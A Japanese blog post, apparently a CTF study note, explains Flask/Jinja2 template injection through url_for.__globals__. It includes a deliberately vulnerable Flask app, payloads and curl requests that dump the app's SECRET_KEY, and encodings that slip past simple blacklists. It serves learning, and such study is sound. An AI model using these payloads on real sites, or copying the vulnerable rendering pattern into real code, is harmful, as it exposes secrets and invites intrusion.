Flask Jinja2 url_for.__globals__ などについて(pyjail)

あらまし

HackIT CTF 2018 - Believer Case - こんとろーるしーこんとろーるぶい

CTF的 Flaskに対する攻撃まとめ - Qiita

CTFでurl_for.__globals__など(PyJailと呼ばれているっぽい)SSTIを使ってフラグなどにアクセスする問題があるんですが、そもそも何のためにそんな変数が用意されているのか調べました。上の記事ではこんな感じでリストアップされています。

/echo?q={{self.__dict__}}
/echo?q={{url_for.__globals__.current_app.__dict__}}
/echo?q={{get_flashed_messages.__globals__.current_app.__dict__}}
/echo?q={{request._load_form_data.__globals__.current_app.__dict__}}
/echo?q={{g.get.__globals__.sys.modules.app.app.__dict__}}
/echo?q={{hoge.__init__.__globals__.sys.modules.app.app.__dict__}}
#引用元: https://qiita.com/koki-sato/items/6ff94197cf96d50b5d8f

前後のアンダースコア2つ

pythonに疎いのでまずアンダースコアについて調べます。

Python Magic Method

magic methodと呼ばれるものになるそう。python自身がオブジェクトを扱う標準プロセスで使用するものだそうで、例えば演算+をする時__add__が呼び出される。__add__を書き換えておけば、+演算をしてもその変更したメソッドが呼ばれるようになる、みたいなだと思う。今回の件とどこまで関係があるかはわかりませんが。

__globals__と__dict__

3. Data model — Python 3.9.2 documentation

こちらリンク先のCallable typesの節で、ユーザが定義する関数に生えるSpecial attributesとして__globals__と__dict__が紹介されてます。関数の__dict__はよくわかりませんが（古い投稿はあった）__globals__はその関数が定義された名前空間の変数は見えそうですね。

__globals__

val1 = 1111
val2 = 2222

def func1():
    pass

print(func1.__globals__)
#=>{'func1': <function func1 at 0x7f6d5d3df650>, '__builtins__': <module '__builtin__' (built-in)>, '__file__': 'test1.py', '__package__': None, 'val2': 2222, '__name__': '__main__', 'val1': 1111, '__doc__': None}

val1 = 1111
val2 = 2222

def func1():
    val3 = 3333
    def func2():
        pass
    print(func2.__globals__)

func1()
#=>{'func1': <function func1 at 0x7fd7972de9d0>, '__builtins__': <module '__builtin__' (built-in)>, '__file__': 'test1.py', '__package__': None, 'val2': 2222, '__name__': '__main__', 'val1': 1111, '__doc__': None}

importを使って関数を読んだ場合の挙動を確認

#testmod.py
def test_mod_func():
    pass

val3=333

#test1.py
import testmod
val1 = 1111
val2 = 2222

def func1():
    val3 = 3333
    def func2():
        pass

print(testmod.test_mod_func.__globals__)

実行結果

$ python test1.py | grep val1
$ python test1.py | grep val2
$ python test1.py | grep val3
....snip...
, 'test_mod_func': <function test_mod_func at 0x7f30a9b7add0>, 'val3': 333, '__name__': 'testmod', '__package__': None, '__doc__': None}

モジュールとして読み込んだ関数経由だとそのモジュール内のものしか見えないようです。

__dict__

組み込み型 — Python 3.9.2 ドキュメント

一方__dict__はオブジェクトに映えているようで、例えばクラスの__dict__にはクラス内の属性が入っているらしい。

val1=1111
val2=2222
class Test():
    val3=3333

a = Test()
print(Test.__dict__) #=>{'val3': 3333, '__module__': '__main__', '__doc__': None}
print(a.__dict__)      #=>{}
print(a.val3)              #=>3333
print(a.__globals__)#=>AttributeError: Test instance has no attribute '__globals__'

インスタンスにすると__dict__が空になるのはちょっとまだ追いきれていないです。。
ので、__globals__も__dict__も別に特別な何かというわけではないっぽい。

テンプレートエンジンとjinja2とFlaskとSSTI

CTFでよく使われるpythonのフレームワークがFlaskでそのテンプレートエンジンがjinja2なので、これの情報ばっかり出てくる。ので、ここでもそれを参考にいたします。

次のアプリケーションを想定

from flask import Flask, render_template_string, request

app = Flask(__name__)
app.secret_key = 'testtest'

val1=1111
@app.route('/', methods=['GET'])
def index():
    return render_template_string('{{'+request.args.get('ssti')+'}}')

app.run(host='localhost', port=8080)

次のペイロードをみてみる

url_for.__globals__.current_app.__dict__

API — Flask Documentation (1.1.x)

url_forはドキュメントの通り関数のようです。

$ curl 'http://localhost:8080/?ssti=url_for.__class__'
<type 'function'>

と言うことで、__globals__も生えているはず

$ curl 'http://localhost:8080/?ssti=url_for.__globals__'                                                                                                   {'find_package': <function find_package at 0x7f44bfd50050>, '_find_package_path': <function _find_package_path at 0x7f44bfd48f50>, 'get_load_dotenv': <function get_load_dotenv at 0x7f44..............snip

映えてました。

https://msiz07-flask-docs-ja.readthedocs.io/ja/latest/api.html#flask.current_app

Flask の session と g そしてコンテキスト | 民主主義に乾杯

次のcurrent_appは直接appにアクセスしないためにある変数のようです。ちゃんとは理解していませんが、appが保持しているものを覗けそうです。説明を抜粋すると

This is only available when an application context is pushed. This happens automatically during requests and CLI commands. It can be controlled manually with app_context().
#引用：https://msiz07-flask-docs-ja.readthedocs.io/ja/latest/api.html#flask.current_app

とあるので、今回はduring requestsの箇所に該当しそうです。url_for.__globals__で定義されたグローバル変数を覗けるので、それ経由で呼べます。

$ curl 'http://localhost:8080/?ssti=self.current_app' #=>レスポンスなし
$ curl 'http://localhost:8080/?ssti=url_for.__globals__.current_app'
<Flask 'test'>

最後の__dict__は上の方で調べた通り、オブジェクト内の属性などを保持しているらしいので、これを呼べばappに定義した変数などを見れそう。

$ curl 'http://localhost:8080/?ssti=url_for.__globals__.current_app.__dict__'
{'subdomain_matching': False, 'error_handler_spec': {None: {}}, '
............snip.................
 'DEBUG': False, 'SECRET_KEY': 'testtest', '
............snip.................
': []}

app.secret_key = 'testtest'ここが覗けました。フラグとか鍵とかその他設定を覗かせる問題に使えそうですね。

その他ペイロードを組み立てるなど

この記事が詳しそう Jinja2 SSTI Research - HackMD

基本的に問題では入力に対してパターンマッチなどで制限をかけてることがありそうですね。

CTFtime.org / HackIT CTF 2018 / Believer Case / Writeup

入力をGETクエリなどで受け取る場合

ブラックリストなどを作って、入力値を検証するのが良さそう。ただ

• .が禁止されているなら、url_for['__globals__']
• _が禁止されているなら、url_for['\x5f\x5fglobals\x5f\x5f']
• globalsがが禁止されているなら、url_for['__\x67lobals__']

などすれば単純なチェックはすり抜けられるので、結構注意が必要

入力をパスで受け取る場合

HackIT CTF 2018 - Believer Case - こんとろーるしーこんとろーるぶい

上のサイトで紹介されているように、@app.route("/<path:template>")みたいな感じで受け取る場合はurl_for['__\x67lobals__']のようなasciiで指定するパターンでエラーが起こる(サーバエラー)ので、単純なブラックリストで対策できそう。

こんな形で、前者のパターンだとかなりいろんな方法で抜け道ができそうなので、注意かも。